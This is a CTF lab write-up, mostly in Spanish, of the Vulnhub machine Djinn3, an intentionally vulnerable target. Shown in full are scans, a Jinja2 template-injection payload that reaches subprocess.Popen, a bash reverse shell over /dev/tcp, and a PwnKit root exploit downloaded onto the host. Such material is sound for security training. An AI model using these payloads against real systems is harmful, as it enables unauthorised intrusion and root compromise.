Vulnhub: Djinn3 Writeup | Medium

Table of Contents

Vulnhub: Djinn3 Writeup

Welcome to my detailed writeup of the medium difficulty machine “Djinn3” on Vulnhub. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 192.168.154.102 --ulimit 5000 -g
2192.168.154.102 -> [22,80,5000,31337]
 1nmap -p22,80,5000,31337 -sCV 192.168.154.102 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:47 CET
 3Nmap scan report for 192.168.154.102
 4Host is up (0.032s latency).
 5
 6PORT      STATE SERVICE VERSION
 722/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey:
 9|   2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
10|   256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
11|_  256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
1280/tcp    open  http    lighttpd 1.4.45
13|_http-title: Custom-ers
14|_http-server-header: lighttpd/1.4.45
155000/tcp  open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
16|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1731337/tcp open  Elite?
18| fingerprint-strings:
19|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
20|     username>
21|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
22|     username> password> authentication failed
23|   Help:
24|     username> password>
25|   RPCCheck:
26|     username> Traceback (most recent call last):
27|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
28|     main()
29|     File "/opt/.tick-serv/tickets.py", line 93, in main
30|     username = input("username> ")
31|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
32|     (result, consumed) = self._buffer_decode(data, self.errors, final)
33|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
34|   SSLSessionReq:
35|     username> Traceback (most recent call last):
36|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
37|     main()
38|     File "/opt/.tick-serv/tickets.py", line 93, in main
39|     username = input("username> ")
40|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
41|     (result, consumed) = self._buffer_decode(data, self.errors, final)
42|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
43|   TerminalServerCookie:
44|     username> Traceback (most recent call last):
45|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
46|     main()
47|     File "/opt/.tick-serv/tickets.py", line 93, in main
48|     username = input("username> ")
49|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
50|     (result, consumed) = self._buffer_decode(data, self.errors, final)
51|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
521 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
53SF-Port31337-TCP:V=7.94SVN%I=7%D=1/30%Time=679BF366%P=x86_64-pc-linux-gnu%
54SF:r(NULL,A,"username>\x20")%r(GetRequest,2A,"username>\x20password>\x20au
55SF:thentication\x20failed\n")%r(SIPOptions,2A,"username>\x20password>\x20a
56SF:uthentication\x20failed\n")%r(GenericLines,2A,"username>\x20password>\x
57SF:20authentication\x20failed\n")%r(HTTPOptions,2A,"username>\x20password>
58SF:\x20authentication\x20failed\n")%r(RTSPRequest,2A,"username>\x20passwor
59SF:d>\x20authentication\x20failed\n")%r(RPCCheck,1A9,"username>\x20Traceba
60SF:ck\x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tic
61SF:k-serv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x
62SF:20main\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x
63SF:2093,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username
64SF:>\x20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\
65SF:x20321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x
66SF:20self\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecod
67SF:eError:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x2
68SF:0position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,
69SF:A,"username>\x20")%r(DNSStatusRequestTCP,A,"username>\x20")%r(Help,14,"
70SF:username>\x20password>\x20")%r(SSLSessionReq,1B1,"username>\x20Tracebac
71SF:k\x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick
72SF:-serv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x2
73SF:0main\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x2
74SF:093,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>
75SF:\x20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x
76SF:20321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x2
77SF:0self\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecode
78SF:Error:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200xd7\x20in\x20
79SF:position\x2013:\x20invalid\x20continuation\x20byte\n")%r(TerminalServer
80SF:Cookie,1B0,"username>\x20Traceback\x20\(most\x20recent\x20call\x20last\
81SF:):\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x20105,\x
82SF:20in\x20<module>\n\x20\x20\x20\x20main\(\)\n\x20\x20File\x20\"/opt/\.ti
83SF:ck-serv/tickets\.py\",\x20line\x2093,\x20in\x20main\n\x20\x20\x20\x20us
84SF:ername\x20=\x20input\(\"username>\x20\"\)\n\x20\x20File\x20\"/usr/lib/p
85SF:ython3\.6/codecs\.py\",\x20line\x20321,\x20in\x20decode\n\x20\x20\x20\x
86SF:20\(result,\x20consumed\)\x20=\x20self\._buffer_decode\(data,\x20self\.
87SF:errors,\x20final\)\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x2
88SF:0decode\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuat
89SF:ion\x20byte\n");
90Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
91
92Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
93Nmap done: 1 IP address (1 host up) scanned in 64.62 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.154.102 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:47 CET
 4Nmap scan report for 192.168.154.102
 5Host is up (0.032s latency).
 6Not shown: 1494 open|filtered udp ports (no-response)
 7PORT      STATE  SERVICE
 85555/udp  closed rplay
 916972/udp closed unknown
1020560/udp closed unknown
1129823/udp closed unknown
1231731/udp closed unknown
1332345/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

Del escaneo inicial vemos el puerto 31337/TCP el cual es un tanto extraño pero vamos a enumerar de menos a mas.

SSH Enumeration

Dado que la versión de SSH es algo desactualizada, OpenSSH 7.6p1 quizás sea vulnerable a CVE-2018-15473, esta vulnerabilidad permite enumerar usuarios del sistema sin necesidad de credenciales.

Para comprobar esto, siempre suelo utilizar este PoC de Sait-Nuri

Primero nos clonamos el repositorio.

1git clone https://github.com/Sait-Nuri/CVE-2018-15473
2Cloning into 'CVE-2018-15473'...
3remote: Enumerating objects: 16, done.
4remote: Counting objects: 100% (16/16), done.
5remote: Compressing objects: 100% (13/13), done.
6remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
7Receiving objects: 100% (16/16), 5.04 KiB | 737.00 KiB/s, done.
8Resolving deltas: 100% (2/2), done.

Y parece que está parcheado, por lo cual no es vulnerable y por SSH tampoco podemos hacer mas por ahora.

1python3 CVE-2018-15473.py -u root 192.168.154.102
2/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3  'class': algorithms.Blowfish,
4[+] root is a valid username
5➜  CVE-2018-15473 git:(main) python3 CVE-2018-15473.py -u rooto 192.168.154.102
6/home/kali/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
7  'class': algorithms.Blowfish,
8[+] rooto is a valid username

HTTP Enumeration

La versión del servidor web es lighttpd 1.4.45, buscando un poco en Google encontré esta vulnerabilidad la cual es para una versión mas antigua que el servicio actual.

The ’lighttpd’ program is prone to a vulnerability that may allow attackers to access sensitive information because the application fails to properly handle exceptional conditions.

Aparentemente el servidor no es vulnerable. Write-up Image

El sitio web principal se ve así, tiene un diseño un poco feo sinceramente y no significa nada, pero normalmente si el diseño es tan “primitivo” no se suele esforzar tanto el desarrollador en la seguridad del sitio. Write-up Image Analizando el código de la página no encontré nada, pero vemos que según el mensaje de la página principal que esta gente ofrece un tipo de software de edición de texto y de ticketing.

Fuzzeando recursos con feroxbuster no encontramos nada interesante.

 1feroxbuster -u http://192.168.154.102/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://192.168.154.102/
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 1
18 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁  Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404      GET       11l       28w      345c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23301      GET        0l        0w        0c http://192.168.154.102/images => http://192.168.154.102/images/
24200      GET      127l      243w     2262c http://192.168.154.102/css.css
25200      GET       34l      144w     1414c http://192.168.154.102/

HTTP Enumeration (Port 5000/TCP)

En el puerto 5000/TCP vemos otro servicio web que pertenece a un servicio de ticketing que tiene pinta de que es “casero”. Write-up Image

Quitando que los tickets no deberían de ser públicos y accesibles, según nmap vemos que el servidor web es Werkzeug httpd 1.0.1, esto significa que probablemente se esté utilizando Flask como backend.

Fuzzeando por recursos interesantes tampoco encontré nada.

1feroxbuster -u http://192.168.154.102:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,txt,html,zip,gz

Igualmente vemos que existe un parámetro id el cual al establecerlo carga el ticket asociado a ese identificador.

He creado un pequeño script para enumerar todos los tickets que podamos por si alguno no se está mostrando en la página principal.

 1#!/usr/bin/python3
 2import requests
 3from pwn import *
 4from tqdm import tqdm
 5from concurrent.futures import ThreadPoolExecutor
 6
 7BASE_URL = "http://192.168.154.102:5000/?id=<REPLACE>"
 8ERROR_LENGTH = 290
 9NUM_THREADS = 10
10
11def check_ticket(i):
12    r = requests.get(BASE_URL.replace("<REPLACE>", f"{i:04d}"))
13    if len(r.text) != ERROR_LENGTH:
14        log.success(f"[+] Ticket encontrado ID -> {i:04d}")
15        return True
16    return False
17
18def brute():
19    with log.progress("Probando tickets...") as pbar, ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:
20        futures = {executor.submit(check_ticket, i): i for i in range(10000)}
21        for future in tqdm(futures, desc="Brute-forcing", unit="ticket"):
22            if future.result():
23                executor.shutdown(wait=False)
24                break
25
26if __name__ == "__main__":
27    brute()

Igualmente no he encontrado ningún ticket extra.

1python3 brute.py
2[+] Probando tickets...: Done
3Brute-forcing:  28%|██████████████▊                                      | 2790/10000 [00:19<00:49, 145.33ticket/s][+] [+] Ticket encontrado ID -> 2792
4Brute-forcing:  28%|██████████████▊                                      | 2792/10000 [00:19<00:49, 146.57ticket/s]
5[+] [+] Ticket encontrado ID -> 2973
6[+] [+] Ticket encontrado ID -> 2984
7[+] [+] Ticket encontrado ID -> 4567
8[+] [+] Ticket encontrado ID -> 7723
9[+] [+] Ticket encontrado ID -> 8345

Leyendo los tickets vemos varias cosas interesantes, primero que no se necesita autenticación para utilizar el sistema de Ticketing. Write-up Image

Otro punto interesante es que parece que debe de haber algún usuario invitado según este mensaje para poder poner tickets. Write-up Image

Otra cosa interesante es que parece que ha habido un empleado llamado umang que ha resignado, quizás ha dejado algún backdoor o su cuenta de usuario sigue activa. Y además existe otro usuario llamado jack Write-up Image

Vemos mas usuarios y además se nos confirma que sus cuentas siguen creadas y algunas tienen privilegios. Write-up Image

Habiendo leído todos los tickets, tenemos una lista de usuario que por ahora no se si nos servirá de algo pero nunca viene mal.

1cat -p users.txt
2umang
3jack
4freddy
5jason
6david

Custom Ticketing System Enumeration

Vamos a enumerar el servicio del puerto 31337/TCP que si intentamos conectarnos con netcat nos pide una autenticación.

Después de probar algunas combinaciones típicas y utilizando los usuarios que teníamos, vemos que la combinación guest:guest es válida.

 1nc 192.168.154.102 31337
 2username> guest
 3password> guest
 4
 5Welcome to our own ticketing system. This application is still under
 6development so if you find any issue please report it to mail@mzfr.me
 7
 8Enter "help" to get the list of available commands.
 9
10>

Parece que podemos abrir un ticket, así que vamos a probarlo.

 1> help
 2
 3        help        Show this menu
 4        update      Update the ticketing software
 5        open        Open a new ticket
 6        close       Close an existing ticket
 7        exit        Exit
 8
 9> open
10Title: test
11Description: test

Al comprobarlo en la página principal, vemos que se ha creado el ticket perfectamente. Write-up Image

No podemos actualizar tickets, parece que no tenemos permisos.

1> update
2You are not authorized to update the system
3Contact the system administrator for this

Otra cosa que si que podemos hacer es borrar un ticket, da igual de que usuario sea.

1> close
2Ticket ID: 2973

El ticket desaparece. Write-up Image

Esto se consideraría otra vulnerabilidad, supongo que Broken Access Control, igualmente nuestra meta es ganar acceso a la máquina.

Jinja2 Server-Side Template Injection -> Foothold (RCE)

Recordamos que la aplicación está hecha con Flask, ¿verdad?. Estas aplicaciones mucha gente sabe a lo que son propensas, y es a Server-Side Template Injection ya que estas aplicaciones utilizan Jinja2 que es un motor de plantillas de Python que se utiliza para crear plantillas HTML , vamos a hacer una pequeña prueba para comprobar si es vulnerable.

Podemos leer este artículo de HackTricks donde tenemos varios payloads por si no sabemos proceder en esta situación.

Una forma de comprobar si es vulnerable es utilizando el payload {{ 7*7 }} , este es el formato que se utiliza en Flask para mostrar el valor de una variable en la plantilla, por lo cual si es vulnerable se debería de mostrar el número 49 en la página principal y esto significaría que el servidor ha hecho la operatoria y por lo cual podemos ejecutar código Python en el servidor.

Creamos el ticket…

1open
2Title: {{ 7*7 }}
3Description: test

Vemos que no se muestra el número. Write-up Image

Igualmente si creamos otro ticket y utilizamos el payload en la descripción…

1> open
2Title: test
3Description: {{ 7*7 }}

Y vemos que efectivamente, podemos confirmar la vulnerabilidad, ahora solo queda ganar ejecución remota de comandos. Write-up Image

Nuestra meta ahora mismo es llegar a la clase subprocess.Popen, para ello necesitamos saber el index de la clase ya que vamos a enumerar primero las clases que están cargadas en el entorno non-sandboxed de Python, para poder enumerar esto primero necesitamos llegar a la clase object para después poder llamar al método __subclasses__ y así acceder a las clases.

Entonces por ejemplo, para acceder a la clase objeto podemos hacerlo de esta forma.

1dict.__base__

Una vez aquí ya podemos llamar al método __subclasses__() y así ver todas las clases que están cargadas.

1dict.__base__.__subclasses__()

En este punto la IP de la máquina víctima va a cambiar ya que me descargué la máquina de Vulnhub, pero bueno, con ese payload podemos ver todas las clases que era nuestro objetivo.

1> open
2Title: test
3Description: {{ dict.__base__.__subclasses__() }}

Write-up Image

Podemos filtrar por subprocess.Popen y vemos que efectivamente, aquí tenemos la clase que nos interesa para conseguir RCE, el problema es que tenemos que saber cual es el índice dentro del array en el que se encuentra. Write-up Image

He creado un pequeño script para encontrar el índice que necesitamos para poder llamar a la clase subprocess.Popen ya que obviamente no vamos a buscarlo manualmente, dejo por aquí el script.

Al ejecutarlo…

1python3 find_popen.py
2El índice de 'subprocess.Popen' es: 400

Ahora podemos utilizar la clase y intentar ejecutar un comando a nivel de sistema.

1> open
2Title: rce3
3Description: {{ dict.__base__.__subclasses__()[400]('ping -c 1 192.168.18.132',shell=True,stdout=-1).communicate()[0].strip() }}

Y si ingresamos al Ticket creado, vemos que conseguimos ejecutar este comando… Write-up Image

Ahora nos vamos a mandar una reverse shell utilizando el típico one-liner.

1> open
2Title: rce4
3Description: {{ dict.__base__.__subclasses__()[400]('bash -c "bash -i >& /dev/tcp/192.168.18.132/443 0>&1" ',shell=True,stdout=-1).communicate()[0].strip() }}

Nos ponemos en escucha con pwncat-cs por el puerto 443.

1pwncat-cs -lp 443

Ahora abrimos el ticket…. Write-up Image

Y conseguimos una shell en la máquina víctima.

1(remote) www-data@djinn3:/opt/.web$ id
2uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Vemos que existen varios usuarios en la máquina víctima.

1(remote) www-data@djinn3:/opt/.web$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3saint:x:1000:1002:,,,:/home/saint:/bin/bash
4jack:x:1001:1003:,,,:/home/jack:/bin/bash
5mzfr:x:1002:1004:,,,:/home/mzfr:/bin/bash

Existe una manera intencionada para escalar privilegios, la cual es mas complicada que la manera de la cual yo escalé los privilegios, pero seguridad avanza y esta máquina era vulnerable a….

 1find / \-perm \-4000 2>/dev/null
 2/bin/su
 3/bin/umount
 4/bin/mount
 5/bin/fusermount
 6/bin/ping
 7/usr/bin/gpasswd
 8/usr/bin/at
 9/usr/bin/chfn
10/usr/bin/chsh
11/usr/bin/sudo
12/usr/bin/traceroute6.iputils
13/usr/bin/passwd
14/usr/bin/pkexec
15/usr/bin/newuidmap
16/usr/bin/newgidmap
17/usr/bin/newgrp
18/usr/lib/eject/dmcrypt-get-device
19/usr/lib/openssh/ssh-keysign
20/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
21/usr/lib/snapd/snap-confine
22/usr/lib/policykit-1/polkit-agent-helper-1
23/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Vaya, el pkexec tiene permisos de SUID, eso significa que quizás podamos utilizar PwnKit (CVE-2021-4034) para escalar privilegios.

De hecho si pasamos el linux-exploit-suggester.sh vemos que nos dice que probablemente la máquina sea vulnerable ya que encaja con la versión de la distribución.

 1./linux-exploit-suggester.sh
 2
 3Available information:
 4
 5Kernel version: 4.15.0
 6Architecture: x86_64
 7Distribution: ubuntu
 8Distribution version: 18.04
 9Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
10Package listing: from current OS
11
12Searching among:
13
1481 kernel space exploits
1549 user space exploits
16
17Possible Exploits:
18
19[+] [CVE-2021-4034] PwnKit
20
21   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
22   Exposure: probable
23   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
24   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

PwnKit - CVE-2021-4034

Primero, como en la máquina víctima tengo conexión a internet, vamos a descargar el exploit directamente.

1(remote) www-data@djinn3:/tmp$ wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main

Ahora podemos extraer el exploit

1(remote) www-data@djinn3:/tmp$ unzip main

Le damos permiso de ejecución al script que se nos incluye que se va a encargar de compilar el exploit y ejecutarlo.

1(remote) www-data@djinn3:/tmp/CVE-2021-4034-main$ chmod +x ./cve-2021-4034.sh

Ahora simplemente lo ejecutamos y…

1(remote) www-data@djinn3:/tmp/CVE-2021-4034-main$ ./cve-2021-4034.sh
2cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
3cc -Wall    cve-2021-4034.c   -o cve-2021-4034
4echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
5mkdir -p GCONV_PATH=.
6cp -f /bin/true GCONV_PATH=./pwnkit.so:.
7# id
8uid=0(root) gid=0(root) groups=0(root),33(www-data)

Podemos ver la flag de root

 1# ./proof.sh
 2TERM environment variable not set.
 3    _                        _             _ _ _
 4   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
 5  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 6 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
 7/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
 8                                     |___/
 9djinn-3 pwned...
10__________________________________________________________________________
11
12Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
13Path: /root
14Date: Mon Feb 3 17:14:50 IST 2025
15Whoami: root
16__________________________________________________________________________
17
18By @0xmzfr
19
20Special thanks to @DCAU7 for his help on Privilege escalation process
21And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
22
23If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
24so I can continue to make these kind of challenges.

¡Y ya estaría!

Happy Hacking! 🚀

#Vulnhub   #Djinn3   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #SSH Enumeration   #CVE-2018-15473   #User Enumeration   #HTTP Enumeration   #Abusing Improper Access Control   #Scripting   #Python Scripting   #Information Disclosure   #Abusing Broken Access Control   #Server-Side Template Injection   #SSTI   #CVE-2021-4034   #PwnKit